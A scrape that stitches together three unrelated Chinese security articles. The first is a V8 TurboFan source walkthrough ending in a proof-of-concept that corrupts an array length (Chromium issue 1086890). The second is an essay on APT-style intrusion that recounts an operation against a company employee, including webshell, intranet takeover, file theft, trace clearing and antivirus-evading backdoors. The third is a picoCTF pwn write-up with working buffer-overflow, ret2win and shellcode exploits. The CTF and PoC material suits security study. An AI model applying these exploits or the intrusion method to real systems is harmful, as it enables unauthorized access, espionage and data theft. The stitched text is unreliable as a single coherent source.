3. Register feedback_vector = rbx;
4. __ LoadTaggedPointerField(
5. rax, FieldOperand(closure, JSFunction::kSharedFunctionInfoOffset));
6. __ LoadTaggedPointerField(
7. kInterpreterBytecodeArrayRegister,
8. FieldOperand(rax, SharedFunctionInfo::kFunctionDataOffset));
9. GetSharedFunctionInfoBytecode(masm, kInterpreterBytecodeArrayRegister,
10. kScratchRegister);
11. Label compile_lazy;
12. __ CmpObjectType(kInterpreterBytecodeArrayRegister, BYTECODE_ARRAY_TYPE, rax);
13. __ j(not_equal, &compile_lazy);
14. __ LoadTaggedPointerField(
15. feedback_vector, FieldOperand(closure, JSFunction::kFeedbackCellOffset));
16. __ LoadTaggedPointerField(feedback_vector,
17. FieldOperand(feedback_vector, Cell::kValueOffset));
18. Label push_stack_frame;
19. __ LoadTaggedPointerField(
20. rcx, FieldOperand(feedback_vector, HeapObject::kMapOffset));
21. __ CmpInstanceType(rcx, FEEDBACK_VECTOR_TYPE);
22. __ j(not_equal, &push_stack_frame);
23. Register optimized_code_entry = rcx;
24. __ LoadAnyTaggedField(
25. optimized_code_entry,
26. FieldOperand(feedback_vector,
27. FeedbackVector::kOptimizedCodeWeakOrSmiOffset));
28. Label optimized_code_slot_not_empty;
29. __ Cmp(optimized_code_entry, Smi::FromEnum(OptimizationMarker::kNone));
30. __ j(not_equal, &optimized_code_slot_not_empty);
31. Label not_optimized;
32. __ bind(¬_optimized);
33. __ incl(
34. FieldOperand(feedback_vector, FeedbackVector::kInvocationCountOffset));
35. /*解释执行，参见之前的文章*/
36. /*解释执行，参见之前的文章*/
37. /*解释执行，参见之前的文章*/
38. __ bind(&optimized_code_slot_not_empty);
39. Label maybe_has_optimized_code;
40. __ JumpIfNotSmi(optimized_code_entry, &maybe_has_optimized_code);
41. MaybeOptimizeCode(masm, feedback_vector, optimized_code_entry);
42. __ jmp(¬_optimized);
43. __ bind(&maybe_has_optimized_code);
44. __ LoadWeakValue(optimized_code_entry, ¬_optimized);
45. TailCallOptimizedCodeSlot(masm, optimized_code_entry, r11, r15);
46. __ bind(&stack_overflow);
47. __ CallRuntime(Runtime::kThrowStackOverflow);
48. __ int3(); // Should not return.
49. }
上述代码中，第 2 行代码 closure 是 JSFunction 函数地址；
第 4 行代码从 JSFunction 中获取 SharedFunction 函数地址，并保存到 rax 寄存器；
第 6-9 行代码从 SharedFunction 中获取 BytecodeArray 地址，并保存到
kInterpreterBytecodeArrayRegister 寄存器；
第 12 行代码判断 kInterpreterBytecodeArrayRegister 寄存器的值是 BytecodeArray 或者
compile_lazy;
**提示：** JavaScript源码编译时，如果该 SharedFunciton 不是最外层函数，而是一个函数调用，该 SharedFunction
被标记为 compile_lazy，那么 kInterpreterBytecodeArrayRegister 的值是 compile_lazy。
第 14-16 行代码加载 feedback_vector；feedback_vector 保存当前 SharedFunction 的优化信息；
第 19-25 行代码获取 feedback_vector 的 Map，并判断当前 SharedFunction 是否已被 TurboFan 编译了；
第 33 行代码 feedback_vector 的值增加1，记录当前 SharedFunction 的执行次数，当 feedback_vector
值达到一个阈值时会触发 TurboFan 编译该 SharedFunction，即优化编译；
第 34-37 行代码省略了解释执行 BytecodeArray 的过程，参见之前的文章；
第 41 行代码启动优化编译器，生成优化代码入口 optimized_code_entry；
第 45 行代码执行 optimized_code_entry。
MaybeOptimizeCode() 负责启动优化编译，源码如下：
1. static void MaybeOptimizeCode(MacroAssembler* masm, Register feedback_vector,
2. Register optimization_marker) {
3. DCHECK(!AreAliased(feedback_vector, rdx, rdi, optimization_marker));
4. TailCallRuntimeIfMarkerEquals(masm, optimization_marker,
5. OptimizationMarker::kLogFirstExecution,
6. Runtime::kFunctionFirstExecution);
7. TailCallRuntimeIfMarkerEquals(masm, optimization_marker,
8. OptimizationMarker::kCompileOptimized,
9. Runtime::kCompileOptimized_NotConcurrent);
10. TailCallRuntimeIfMarkerEquals(masm, optimization_marker,
11. OptimizationMarker::kCompileOptimizedConcurrent,
12. Runtime::kCompileOptimized_Concurrent);
13. if (FLAG_debug_code) {
14. __ SmiCompare(optimization_marker,
15. Smi::FromEnum(OptimizationMarker::kInOptimizationQueue));
16. __ Assert(equal, AbortReason::kExpectedOptimizationSentinel);
17. }
18. }
上述代码中，第 7-12 行根据 optimization_marker 的值决定使用 CompileOptimized_NotConcurrent 或
CompileOptimized_Concurrent 编译方法。这两种方法的区别是 NotConcurrent 和
Concurrent，但它们的编译流程一样。
## 3 优化编译
Concurrent 和 NotConcurrent 的入口函数如下：
RUNTIME_FUNCTION(Runtime_CompileOptimized_Concurrent) {
HandleScope scope(isolate);
DCHECK_EQ(1, args.length());
CONVERT_ARG_HANDLE_CHECKED(JSFunction, function, 0);
StackLimitCheck check(isolate);
if (check.JsHasOverflowed(kStackSpaceRequiredForCompilation * KB)) {
return isolate->StackOverflow();
}
if (!Compiler::CompileOptimized(function, ConcurrencyMode::kConcurrent)) {
return ReadOnlyRoots(isolate).exception();
}
DCHECK(function->is_compiled());
return function->code();
}
//分隔线............................
RUNTIME_FUNCTION(Runtime_CompileOptimized_NotConcurrent) {
HandleScope scope(isolate);
DCHECK_EQ(1, args.length());
CONVERT_ARG_HANDLE_CHECKED(JSFunction, function, 0);
StackLimitCheck check(isolate);
if (check.JsHasOverflowed(kStackSpaceRequiredForCompilation * KB)) {
return isolate->StackOverflow();
}
if (!Compiler::CompileOptimized(function, ConcurrencyMode::kNotConcurrent)) {
return ReadOnlyRoots(isolate).exception();
}
DCHECK(function->is_compiled());
return function->code();
}
上述两部分代码都会调用 Compiler::CompileOptimized()，它是编译的入口函数，该函数中调用 GetOptimizedCode()
以完成编译工作，GetOptimizedCode 源码如下：
1. MaybeHandle<Code> GetOptimizedCode(Handle<JSFunction> function,
2. ConcurrencyMode mode,
3. BailoutId osr_offset = BailoutId::None(),
4. JavaScriptFrame* osr_frame = nullptr) {
5. //省略..............
6. if (V8_UNLIKELY(FLAG_testing_d8_test_runner)) {
7. PendingOptimizationTable::FunctionWasOptimized(isolate, function);
8. }
9. Handle<Code> cached_code;
10. if (GetCodeFromOptimizedCodeCache(function, osr_offset)
11. .ToHandle(&cached_code)) {
12. if (FLAG_trace_opt) {
13. CodeTracer::Scope scope(isolate->GetCodeTracer());
14. PrintF(scope.file(), "[found optimized code for ");
15. function->ShortPrint(scope.file());
16. if (!osr_offset.IsNone()) {
17. PrintF(scope.file(), " at OSR AST id %d", osr_offset.ToInt());
18. }
19. PrintF(scope.file(), "]\n");
20. }
21. return cached_code;
22. }
23. DCHECK(shared->is_compiled());
24. function->feedback_vector().set_profiler_ticks(0);
25. VMState<COMPILER> state(isolate);
26. TimerEventScope<TimerEventOptimizeCode> optimize_code_timer(isolate);
27. RuntimeCallTimerScope runtimeTimer(isolate,
28. RuntimeCallCounterId::kOptimizeCode);
29. TRACE_EVENT0(TRACE_DISABLED_BY_DEFAULT("v8.compile"), "V8.OptimizeCode");
30. DCHECK(!isolate->has_pending_exception());
31. PostponeInterruptsScope postpone(isolate);
32. bool has_script = shared->script().IsScript();
33. DCHECK_IMPLIES(!has_script, shared->HasBytecodeArray());
34. std::unique_ptr<OptimizedCompilationJob> job(
35. compiler::Pipeline::NewCompilationJob(isolate, function, has_script,
36. osr_offset, osr_frame));
37. OptimizedCompilationInfo* compilation_info = job->compilation_info();
38. if (compilation_info->shared_info()->HasBreakInfo()) {
39. compilation_info->AbortOptimization(BailoutReason::kFunctionBeingDebugged);
40. return MaybeHandle<Code>();
41. }
42. if (!FLAG_opt || !shared->PassesFilter(FLAG_turbo_filter)) {
43. compilation_info->AbortOptimization(BailoutReason::kOptimizationDisabled);
44. return MaybeHandle<Code>();
45. }
46. base::Optional<CompilationHandleScope> compilation;
47. if (mode == ConcurrencyMode::kConcurrent) {
48. compilation.emplace(isolate, compilation_info);
49. }
50. CanonicalHandleScope canonical(isolate);
51. compilation_info->ReopenHandlesInNewHandleScope(isolate);
52. if (mode == ConcurrencyMode::kConcurrent) {
53. if (GetOptimizedCodeLater(job.get(), isolate)) {
54. job.release();
55. function->SetOptimizationMarker(OptimizationMarker::kInOptimizationQueue);
56. DCHECK(function->IsInterpreted() ||
57. (!function->is_compiled() && function->shared().IsInterpreted()));
58. DCHECK(function->shared().HasBytecodeArray());
59. return BUILTIN_CODE(isolate, InterpreterEntryTrampoline);
60. }
61. } else {
62. if (GetOptimizedCodeNow(job.get(), isolate))
63. return compilation_info->code();
64. }
65. if (isolate->has_pending_exception()) isolate->clear_pending_exception();
66. return MaybeHandle<Code>();
67. }
上述代码中，第 10-22 行查询 CodeCache，如果命中则直接返回结果；
第 24 行重置 feedback_vector，因为该函数即将被优化编译，不再需要做热点统计；
第 34-37 行创建优化编译的实例对象 job；
第 37-50 行判断 Flag、记录编译方式（Concurrent 或 NotConcurrent）；
第 52 行根据编译方式的不同，选择现在编译（GetOptimizedCodeNow）或稍后编译（GetOptimizedCodeLater）；
第 59 行返回 BUILTIN_CODE(isolate, InterpreterEntryTrampoline)，因为是稍后编译，也就是
Concurrent 方式，当下的解释执行不能停，所以才有这样的返回结果；
第 62 行此时为 NotConcurrent，所以第 63 行代码返回编译后的 code。
简单说明 GetOptimizedCodeNow 的工作流程，源码如下:
1. bool GetOptimizedCodeNow(OptimizedCompilationJob* job, Isolate* isolate) {
1. TimerEventScope<TimerEventRecompileSynchronous> timer(isolate);
2. if (job->PrepareJob(isolate) != CompilationJob::SUCCEEDED ||
3. job->ExecuteJob(isolate->counters()->runtime_call_stats()) !=
4. CompilationJob::SUCCEEDED ||
5. job->FinalizeJob(isolate) != CompilationJob::SUCCEEDED) {
6. // 省略........
7. return false;
8. }
9. // 省略........
10. return true;
11. }
上述代码与 Bytecode 的编译过程相似，也分为三部分：1. PrepareJob；2. ExecuteJob；3. FinalizeJob。
PrepareJob 负责编译前的准备工作；
ExecuteJob 负责所有编译工作；
FinalizeJob 负责把编译结果（code）安装到 SharedFunction 中、更新 CodeCache 等收尾工作。
GetOptimizedCodeLater 的工作流程是：将编译任务 Job 放进了编译分发（dispatch）队列，待编译完成后会设置相应的
SharedFunction 状态。
## 4 Concurrent 测试用例
源码如下：
1. array = Array(0x40000).fill(1.1);
2. args = Array(0x100 - 1).fill(array);
3. args.push(Array(0x40000 - 4).fill(2.2));
4. giant_array = Array.prototype.concat.apply([], args);
5. giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);
6. length_as_double =
7. new Float64Array(new BigUint64Array([0x2424242400000000n]).buffer)[0];
8. function trigger(array) {
9. var x = array.length;
10. x -= 67108861;
11. x = Math.max(x, 0);
12. x *= 6;
13. x -= 5;
14. x = Math.max(x, 0);
15. let corrupting_array = [0.1, 0.1];
16. let corrupted_array = [0.1];
17. corrupting_array[x] = length_as_double;
18. return [corrupting_array, corrupted_array];
19. }
20. //console.log(length_as_double);
21. for (let i = 0; i < 30000; ++i) {
22. trigger(giant_array);
23. }
24. //console.log(length_as_double);
25. corrupted_array = trigger(giant_array)[1];
26. //%DebugPrint(corrupted_array);
27. console.log('Now corrupted array length: ' + corrupted_array.length.toString(16));
28. corrupted_array[0x123456];
上述代码来自 chromium issue 1086890。
第 8 行代码 trigger() 创建并返回数组，第 21 行代码循环执行 trigger() 会触发
Runtime_CompileOptimized_Concurrent 方法。函数调用堆栈如图 1 所示。
## 新文章介绍
**《Chrome V8 Bug》** 系列文章即将上线。
《Chrome V8 Bug》系列文章的目的是解释漏洞的产生原因，并向你展示这些漏洞如何影响 V8
的正确性。其他的漏洞文章大多从安全研究的角度分析，讲述如何设计与使用 PoC。而本系列文章是从源码研究的角度来写的，分析 PoC 在 V8
中的执行细节，讲解为什么 Poc 要这样设计。当然，学习 Poc 的设计与使用，是 V8 安全研究的很好的出发点，所以，对于希望深入学习 V8 源码和
PoC 原理的人来说，本系列文章也是很有价值的介绍性读物。
好了，今天到这里，下次见。
**个人能力有限，有不足与纰漏，欢迎批评指正**
**微信：qq9123013 备注：v8交流 邮箱：[[email protected]](mailto:[email protected])** | 社区文章 |
这一季依然是一个过渡季，根据之前的连载中，了解到后门是渗透测试的分水岭，它分别体现了攻击者对目标机器的熟知程度，环境，编程语言，了解对方客户，以及安全公司的本质概念。也同样检测了防御者需要掌握后门的基本查杀，与高难度查杀，了解被入侵环境，目标机器。以及后门或者病毒可隐藏角落，或样本取证，内存取证等。.对各种平台查杀熟知，对常见第三方软件的了解程度。既然题目以“艺术”为核心，那么怎样把后门“艺术”行为化呢？
依然遵循以往，
**引入概念，只有概念清晰，本质清晰，对于攻击者，这样的后门更具有持久性，潜伏性，锁定性等。对于防御者，更能熟知反后门对抗，对待常用第三方软件的检测方式方法，切断攻击者的后渗透攻击。溯源或取证攻击者。**
在高级持续渗透测试中，PTES的渗透测试执行标准主要分为 **6段1报** 。既：
1.前期交互阶段
2.情报收集阶段
3.威胁建模阶段
4.漏洞分析阶段
5.渗透攻击阶段
6.后渗透攻击阶段
7.报告编写
这里要讲的不是打破它的流程，而是 **归纳总结到类，明确了类的方向，对待一个未知的目标网络环境，更能清晰的进行攻击或者对抗。**
**提权的本质是什么？**
信息搜集，搜集目标补丁情况，了解目标第三方利用等。
**内网渗透的本质是什么？**
**信息搜集** ，搜集目标内网的组织架构，明确渗透诉求，在渗透过程中，当获取到内网组织架构图，如鱼得水。
**渗透与高级持续渗透的本质区别是什么？**
区别于“持续”，可长期根据攻击者的诉求来潜伏持久的，具有针对性的 **信息获取** 。
（而在高级持续渗透它又分为2类，一类持久渗透，一类即时目标渗透）
**溯源取证与对抗溯源取证的本质是什么？**
**信息搜集** 与 **对抗信息搜集** 。
以上4条，清晰的明确了类，以及类方向，在一次完整的实战过程中，攻击者与防御者是需要角色对换的，前期，攻击者信息搜集，防御者对抗信息搜集。而后渗透，攻击者对抗信息搜集，防御者信息搜集。
而在两者后的持续把控权限，是随机并且无规律的角色对换过程。主要表现之一为后门。这一句话也许很难理解，举例：
持续把控权限过程中，攻击者需要对抗防御者的信息搜集，而又要根据对方行为制定了解防御者的相关动作以及熟知目标环境的信息搜集安全时间。（包括但不限制于如防御者近期对抗查杀动作，防御者的作息规律，目标环境的作息规律等来制定相关计划）。
而在持续把控权限的过程中，防御者需要定期不完全依赖安全产品对自身环境的信息进行搜集（包括但不限制于日志异常，登陆异常，数据异常，第三方篡改日常等），一旦发现被攻击或者异常，对抗攻击者搜集，并且搜集攻击信息，攻击残留文件，排查可能沦陷的内网群，文件等。
在一次的引用百度百科对APT的解释：APT是黑客以窃取核心资料为目的，针对客户所发动的网络攻击和侵袭行为，是一种蓄谋已久的“恶意商业间谍威胁”。这种行为往往经过长期的经营与策划，并具备高度的隐蔽性。APT的攻击手法，在于隐匿自己，针对特定对象，长期、有计划性和组织性地窃取数据，这种发生在数字空间的偷窃资料、搜集情报的行为，就是一种“网络间谍”的行为。
实战中的APT又主要分为2大类，一类 **持久渗透** ，一类 **即时目标渗透**
，主要区别于高级持续渗透是6段1报，即时目标渗透是5段1清1报，共同点都是以黑客以窃取核心资料为目的，并且是一种蓄谋已久的长期踩点针对目标监视（包括但不限制于服务更新，端口更新，web程序更新，服务器更新等）。不同点主要区别于即时目标渗透清晰目标网络构架或是明确诉求，得到目标诉求文件，随即销毁自身入侵轨迹。结束任务。而
**即时目标渗透** 往往伴随着 **传统的人力情报** 的配合进行网络行动。
在即时目标渗透测试中，主要分为 **5段1清1报** 。既：
1.前期交互阶段
2.情报收集阶段
3.威胁建模阶段
4.漏洞分析阶段
5.渗透攻击阶段
6.清理攻击痕迹
7.报告编写
持久渗透以时间换空间为核心的渗透，以最小化被发现，长期把控权限为主的渗透测试。
即时目标渗透则相反，放大已知条件，关联已知线索，来快速入侵，以达到诉求。
为了更好的解释APT即时目标渗透，举例某实战作为demo（由于是为了更好的解释即时目标渗透，所以过程略过），大部分图打码，见谅。
**任务背景：**
**任务诉求：** 需要得知周某某的今年采购的其中一个项目具体信息。
**已知条件：** 该成员是xxx某大型公司。负责XXXX的采购人员。配合人力得知姓名，电话，身份证，照片等。
**任务时间：** 一周之内
**制定计划：** 找到开发公司，获取源码，代码审计，得到shell，拿到服务器，得到域控（或者终端管理）。得到个人机。下载任务文件。
**任务过程：** 得知该XXX公司xxxx网站是某公司出品，得到某公司对外宣传网站，并且得到该开发公司服务器权限，下载源码模板。
**源码审计过程略过。** 得到webshell
**提权略过。** 得到服务器权限。
**内网渗透略过** ，配合人力情报，大致清楚目标内网架构。直奔内网终端管理系统。
查看在线机器，查找目标人物。
**任务推送执行：**
**目标回链：**
**目标桌面截图：** 确定为目标人物
下载任务文件后，清理入侵痕迹。任务完成。
那么持久渗透，即时目标渗透的主要表现区别即为后持续渗透，无后门的安装，无再次连接目标。以及 **传统人力情报的配合** 。
那么在demo中，如果需要长期跟踪，并且对方的内网中有多款安全产品，那么就要为它来制定一款针对该目标的后门。在传统后门中，大多数只考虑目标机系统环境，那么题目为“后门”的艺术，在今天强大的安全产品中对抗升级中，后门也开始加入了人性化因素。以及传统后门的特性变更：如无进程，无服务，无端口，无自启，无文件等，来附属在第三方上。根据目标环境的人为特点，上线方法或时间（包括但不限制于与目标有时差）等，操作时间。来制定一次后门的唤醒时间。需要了解目标经常使用的第三方软件，来制定后门类型。（参考第一季，第二季）。
如何把后门定制到更贴近目标，来对抗反病毒，反后门查杀。利用人为化来启动，或者第三方唤醒，这应该是值得攻击者思考的问题。
而明确了类与类的方向，如何阻断攻击者的信息搜集，并且加大攻击者的暴露踪迹，减少非必要的第三方，这应该是指的防御者思考的问题。
后门在对抗升级中，越贴近目标的后门越隐蔽，越贴近人性化的后门越持久，而由于目前存储条件等因素，还不能够全流量的全部记录，而是全流量的部分流量记录。导致不能完全依赖安全产品，并且在实战中，往往并不是每一台机器（包括但不限制于服务器，个人机，办公及）都遵循安全标准。尤其是在当今VPN办公普遍的情况下，家用个人机为突破点的例子层出不穷。其他非人为因素等。
**导致了当下的安全再次回归到安全的初衷：人** 。是的，人是安全的尺度。
**/ _段子_ /**
可能某老夫跳出来，大喊，后门的人性化制作就这一个也能算艺术？
在现实中，我很喜欢问别人三个问题：
1.你用过最糟糕的后门是什么样的？
2.你用过最精彩的后门是什么样的？
3.你最理想的后门是什么样的？
问题1.能大致分析出对方的入行时间
问题2.能大致的判断出对方目前的技术水平
问题3.能直接判断出对方对技术的追求是怎样的心态
后门是一种艺术。
在文章的结尾处，我想贴几个图。
**当初：多么简单的知识，都会找到你想要的教程。多么复杂的知识都会找到相关的文章。**
**现在：想学习的人，找不到入门的知识，与可以建立兴趣的文章。想分享的人却又胆战心惊**
**来自知乎某大V的回忆当初：**
黑吧的logo还是曾经的那个logo，联盟的国徽还是那个国徽，只是人的心变了。
**附录：**
PTES中文版
<http://netsec.ccert.edu.cn/hacking/files/2011/07/PTES_MindMap_CN1.pdf> | 社区文章 |
# picoCTFのpwn解析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
国庆期间得知了美国CMU主办的picoCTF比赛，出于最近做题的手感有所下降，借此比赛来复习下PWN相关的题型（题目的质量不错，而且题型很广，自我感觉相当棒的比赛）
### buffer overflow 0
先检查一遍文件
➜ bufferoverflow0 file vuln
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=e1e24cdf757acbd04d095e531a40d044abed7e82, not stripped
➜ bufferoverflow0 checksec vuln
[*] '/home/Ep3ius/pwn/process/picoCTF2018/bufferoverflow0/vuln'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
由于这题给了源码所以我们直接看源码
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#define FLAGSIZE_MAX 64
char flag[FLAGSIZE_MAX];
void sigsegv_handler(int sig) {
fprintf(stderr, "%sn", flag);
fflush(stderr);
exit(1);
}
void vuln(char *input){
char buf[16];
strcpy(buf, input);// !stackoverflow
}
int main(int argc, char **argv){
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.n");
exit(0);
}
fgets(flag,FLAGSIZE_MAX,f);
signal(SIGSEGV, sigsegv_handler);
gid_t gid = getegid();
setresgid(gid, gid, gid);
if (argc > 1) {
vuln(argv[1]);
printf("Thanks! Received: %s", argv[1]);
}
else
printf("This program takes 1 argument.n");
return 0;
}
不难看出传入的参数没有限制大小造成在vuln函数里面strcpy至buf时可能导致栈溢出，而这题只要将程序执行流劫持到sigsegv_handler函数就可以读flag，直接放exp
**EXP**
from pwn import*
context(os='linux',arch='i386',log_level='debug')
elf = ELF('./vuln')
flag_addr = 0x804a080
puts_plt = elf.plt['puts']
buf = 'a'*0x18
payload = buf + 'aaaa'
payload += p32(puts_plt) + 'aaaa' + p32(flag_addr)
n = process(argv=['./vuln', payload])
n.interactive()
**FLAG**
picoCTF{ov3rfl0ws_ar3nt_that_bad_a54b012c}
### buffer overflow 1
检查一遍文件
➜ bufferoverflow1 file vuln
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=98eac1e5bfaa95437b28e069a343f3c3a7b9e800, not stripped
➜ bufferoverflow1 checksec vuln
[*] '/home/Ep3ius/pwn/process/picoCTF2018/bufferoverflow1/vuln'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
全都没开，大胆猜测是要我们写shellcode，看源码确认一波
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "asm.h"
#define BUFSIZE 32
#define FLAGSIZE 64
void win() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
printf(buf);
}
void vuln(){
char buf[BUFSIZE];
gets(buf);
printf("Okay, time to return... Fingers Crossed... Jumping to 0x%xn", get_return_address());
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Please enter your string: ");
vuln();
return 0;
}
emmmm……看起来是可以用ret2shellcode但感觉有点麻烦，所以就简单套路直接溢出后劫持返回地址为win函数直接getflag
**EXP**
from pwn import*
context(os='linux',arch='i386',log_level='debug')
n = process('./vuln')
elf = ELF('./vuln')
buf = 0x28
win_addr = 0x080485CB
payload = 'a'*buf + 'aaaa' + p32(win_addr)
n.sendline(payload)
n.interactive()
**FLAG**
picoCTF{addr3ss3s_ar3_3asy14941911}
### leak-me
➜ leak-me file auth
auth: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=c69a8024075d10a44fe028c410f5a06580bd3d82, not stripped
➜ leak-me checksec auth
[*] '/home/Ep3ius/pwn/process/picoCTF2018/leak-me/auth'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
看源码分析一下程序的主要功能
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
int flag() {
char flag[48];
FILE *file;
file = fopen("flag.txt", "r");
if (file == NULL) {
printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.n");
exit(0);
}
fgets(flag, sizeof(flag), file);
printf("%s", flag);
return 0;
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
gid_t gid = getegid();
setresgid(gid, gid, gid);
// real pw:
FILE *file;
char password[64];
char name[256];
char password_input[64];
memset(password, 0, sizeof(password));
memset(name, 0, sizeof(name));
memset(password_input, 0, sizeof(password_input));
printf("What is your name?n");
fgets(name, sizeof(name), stdin);
char *end = strchr(name, 'n'); //name='a'*0x100 *end = NULL
if (end != NULL)
{
*end = 'x00';
}
strcat(name, ",nPlease Enter the Password.");
file = fopen("password.txt", "r");
if (file == NULL)
{
printf("Password File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.n");
exit(0);
}
fgets(password, sizeof(password), file);
printf("Hello ");
puts(name);
fgets(password_input, sizeof(password_input), stdin);
password_input[sizeof(password_input)] = 'x00';
if (!strcmp(password_input, password))
{
flag();
}
else
{
printf("Incorrect Password!n");
}
return 0;
}
我们可以看到存在一个很经典的栅栏错误类型的off-by-one漏洞，当name输入为‘a’*0x100 时栈上的结构会如下图所示
我们知道puts是根据’x00’来判断字符串的末端来输出，根据程序逻辑正常的情况下应该是像左图一样是以’n’为结尾的字符串，然后通过源代码43—47行来将’n’替换成’x00’使得puts(name)能正确输出输入的name，但如果输入了’a’*256的话，会导致最后一个’n’并没有读入而导致程序在puts(name)时会连带下面的password一起输出，这样我们就可以得到服务器上的password为
a_reAllY_s3cuRe_p4s$word_f85406
然后直接连服务器，输入长度小于256的name和leak出来的password就能直接拿到flag
**FLAG**
picoCTF{aLw4y5_Ch3cK_tHe_bUfF3r_s1z3_0f7ec3c0}
### shellcode
➜ shellcode file vuln
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=fdba7cd36e043609da623c330a501f920470b49a, not stripped
➜ shellcode checksec vuln
[*] '/home/Ep3ius/pwn/process/picoCTF2018/shellcode/vuln'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
emmmm……防护机制全没开而且题目还叫shellcode，应该错不了是写shellcode了
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 148
#define FLAGSIZE 128
void vuln(char *buf){
gets(buf);
puts(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
char buf[BUFSIZE];
puts("Enter a string!");
vuln(buf);
puts("Thanks! Executing now...");
((void (*)())buf)();
return 0;
}
简单审计源码后发现还真是只要写个shellcode就没了，直接给exp
EXP
from pwn import*
context(os='linux',arch='i386',log_level='debug')
n = process('./vuln')
elf = ELF('./vuln')
payload = asm(shellcraft.sh())
n.sendline(payload)
n.interactive()
FLAG
picoCTF{shellc0de_w00h00_7f5a7309}
### bufer overflow2
➜ bufferoverflow2 file vuln
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f2f6cce698b62f5109de9955c0ea0ab832ea967c, not stripped
➜ bufferoverflow2 checksec vuln
[*] '/home/Ep3ius/pwn/process/picoCTF2018/bufferoverflow2/vuln'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
审计一下源码
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 100
#define FLAGSIZE 64
void win(unsigned int arg1, unsigned int arg2) {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
if (arg1 != 0xDEADBEEF)
return;
if (arg2 != 0xDEADC0DE)
return;
printf(buf);
}
void vuln(){
char buf[BUFSIZE];
gets(buf);
puts(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Please enter your string: ");
vuln();
return 0;
}
我们很容易理解题目是要我们通过vuln函数里的栈溢出把执行流劫持到win函数，并且要使传入的参数为0xDEADBEEF和0xDEADC0DE，由于是32位程序，所以直接p32(0xDEADBEEF)+p32(0xDEADC0DE)构造ROP来getflag
EXP
from pwn import*
context(os='linux',arch='i386',log_level='debug')
n = process('./vuln')
elf = ELF('./vuln')
buf = 'a'*0x6c
win_addr = 0x80485CB
payload = buf + 'aaaa' + p32(win_addr)+ 'aaaa' + p32(0xDEADBEEF) + p32(0xDEADC0DE)
n.sendline(payload)
n.interactive()
FLAG
picoCTF{addr3ss3s_ar3_3asy30833fa1}
### got-2-learn-libc
➜ got-2-learn-libc file vuln
vuln: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=4e901d4c8bdb0ea8cfd51522376bea63082a2734, not stripped
➜ got-2-learn-libc checksec vuln
[*] '/home/Ep3ius/pwn/process/picoCTF2018/got-2-learn-libc/vuln'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
开了PIE，然而看到程序觉得开没开都没差的样子
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 148
#define FLAGSIZE 128
char useful_string[16] = "/bin/sh"; /* Maybe this can be used to spawn a shell? */
void vuln(){
char buf[BUFSIZE];
puts("Enter a string:");
gets(buf);
puts(buf);
puts("Thanks! Exiting now...");
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Here are some useful addresses:n");
printf("puts: %pn", puts);
printf("fflush %pn", fflush);
printf("read: %pn", read);
